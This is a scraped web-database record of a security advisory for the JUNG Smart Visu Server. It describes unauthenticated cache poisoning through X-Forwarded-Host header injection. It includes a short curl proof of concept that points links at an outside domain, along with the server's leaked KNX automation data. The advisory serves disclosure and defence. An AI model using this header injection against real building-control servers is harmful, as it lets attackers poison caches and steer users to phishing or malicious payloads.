{“lastseen”:”2026-02-12T03:15:25″,”description”:”Title: JUNG Smart Visu Server 1.1.1050 Request URL Override Advisory ID: ZSL-2026-5970 Type: Local\/Remote Impact: Cross-Site Scripting, Spoofing Risk: 4\/5 Release Date: 12.02.2026 Summary The Smart Visu Server makes your intelligent building control…”,”published”:”2026-02-12T00:00:00″,”modified”:”2026-02-12T00:00:00″,”type”:”zeroscience”,”title”:”JUNG Smart Visu Server 1.1.1050 Request URL Override”,”source”:””,”references”:””,”id”:”ZSL-2026-5970″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”\\u003chtml\\u003e\\u003cbody\\u003e\\u003cp\\u003eJUNG Smart Visu Server 1.1.1050 Request URL Override\\r\\n\\r\\n\\r\\nVendor: ALBRECHT JUNG GMBH \\u0026amp; CO. KG\\r\\nProduct web page: https:\/\/www.jung-group.com | https:\/\/www.jung.de\\r\\nAffected version: 1.1.1050\\r\\n 1.0.905\\r\\n 1.0.832\\r\\n 1.0.830\\r\\n\\r\\nSummary: The Smart Visu Server makes your intelligent building\\r\\ncontrol convenient. With the user-friendly operating concept,\\r\\nyou can control both the KNX system and other systems such as\\r\\nPhilips Hue or Sonos on your mobile devices. You can likewise\\r\\nconnect voice control to your KNX system with Amazon Alexa or\\r\\nGoogle Assistant via the Smart Visu Server.\\r\\n\\r\\nDesc: The vulnerability enables unauthenticated attackers to perform\\r\\ncache poisoning attacks by overriding the effective host in proxied\\r\\nrequests through manipulation of the ‘X-Forwarded-Host’ header. When\\r\\na malicious actor sends a request with an arbitrary value, the backend\\r\\napplication or proxy fails to properly validate or sanitize this header,\\r\\nresulting in the generation of responses that incorporate the injected\\r\\nhost as legitimate URLs or links, redirecting to the attacker’s controlled\\r\\ndomain. This can lead to persistent cache poisoning, where the tainted\\r\\ncontent is stored and served to unsuspecting users, facilitating phishing,\\r\\nsession hijacking, or the distribution of malicious payloads.\\r\\n\\r\\nTested on: Jetty(9.2.12.v20150709)\\r\\n\\r\\n\\r\\nVulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\r\\n @zeroscience\\r\\n\\r\\n\\r\\nAdvisory ID: ZSL-2026-5970\\r\\nAdvisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2026-5970.php\\r\\n\\r\\n\\r\\n07.02.2026\\r\\n\\r\\n–\\r\\n\\r\\n\\r\\n$ curl \\”http:\/\/10.0.0.16:8080\/rest\/items?2sdh5r6txj=1\\” \\\\\\r\\n -H \\”User-Agent: thricer-engine\/1.6\\” \\\\\\r\\n -H \\”X-Forwarded-Host: sillysec.com\\”\\r\\n\\r\\nHTTP\/1.1 200 OK\\r\\nContent-Type: application\/json\\r\\nConnection: close\\r\\n\\r\\n[{\\”link\\”:\\”http:\/\/sillysec.com\/rest\/items\/knxcom_action_2019829213754373\\”,\\”state\\”:\\”NULL\\”,\\”type\\”:\\”SwitchItem\\”,\\”name\\”:\\”knxcom_action_2019829213754373\\”,\\”label\\”:\\”Timer_ON\\”,\\”tags\\”:[\\”knxcommissioning\\”,\\”knxcom_action\\”,\\”{\\\\\\”knxcom_action\\\\\\”:\\\\\\”knxcom_action\\\\\\”,\\\\\\”actionType\\\\\\”:\\\\\\”time\\\\\\”,\\\\\\”function_states\\\\\\”:[{\\\\\\”function_name\\\\\\”:\\\\\\”knxcom_function_201817101939842\\\\\\”,\\\\\\”channel_states\\\\\\”:[{\\\\\\”channel_index\\\\\\”:0,\\\\\\”channel_commands\\\\\\”:{\\\\\\”OnOffType\\\\\\”:\\\\\\”ON\\\\\\”}}]},{\\\\\\”function_name\\\\\\”:\\\\\\”knxcom_function_2017919141856124\\\\\\”,\\\\\\”channel_states\\\\\\”:[{\\\\\\”channel_index\\\\\\”:0,\\\\\\”channel_commands\\\\\\”:{\\\\\\”OnOffType\\\\\\”:\\\\\\”ON\\\\\\”}}]},{\\\\\\”function_name\\\\\\”:\\\\\\”knxcom_function_2017919144055744\\\\\\”,\\\\\\”channel_states\\\\\\”:[{\\\\\\”channel_index\\\\\\”:0,\\\\\\”channel_commands\\\\\\”:{\\\\\\”OnOffType\\\\\\”:\\\\\\”ON\\\\\\”}}]}],\\\\\\”icon\\\\\\”:\\\\\\”schaltuhr\\\\\\”,\\\\\\”sortindex\\\\\\”:{\\\\\\”generic\\\\\\”:3},\\\\\\”timer\\\\\\”:{\\\\\\”time\\\\\\”:\\\\\\”16:0\\\\\\”,\\\\\\”weekdays\\\\\\”:{\\\\\\”1\\\\\\”:true,\\\\\\”2\\\\\\”:true,\\\\\\”3\\\\\\”:true,\\\\\\”4\\\\\\”:true,\\\\\\”5\\\\\\”:true,\\\\\\”6\\\\\\”:true,\\\\\\”7\\\\\\”:true}}}\\”],\\”groupNames\\”:[\\”knxcom_group_201982922375216\\”]},{\\”link\\”:\\r\\n…\\r\\n…\\r\\n\\u003c\/p\\u003e\\u003c\/body\\u003e\\u003c\/html\\u003e”,”sourceHref”:”http:\/\/zeroscience.mk\/codes\/jung_cache.txt”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”http:\/\/zeroscience.mk\/en\/vulnerabilities\/ZSL-2026-5970.php”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-12T03:15:25″,”description”:”Title: JUNG Smart Visu Server 1.1.1050 Request URL Override Advisory ID: ZSL-2026-5970 Type: Local\/Remote Impact: Cross-Site Scripting, Spoofing Risk: 4\/5 Release Date: 12.02.2026 Summary The…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,7,11,5,107],"class_list":["post-40536","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability","tag-zeroscience"],"yoast_head":"\n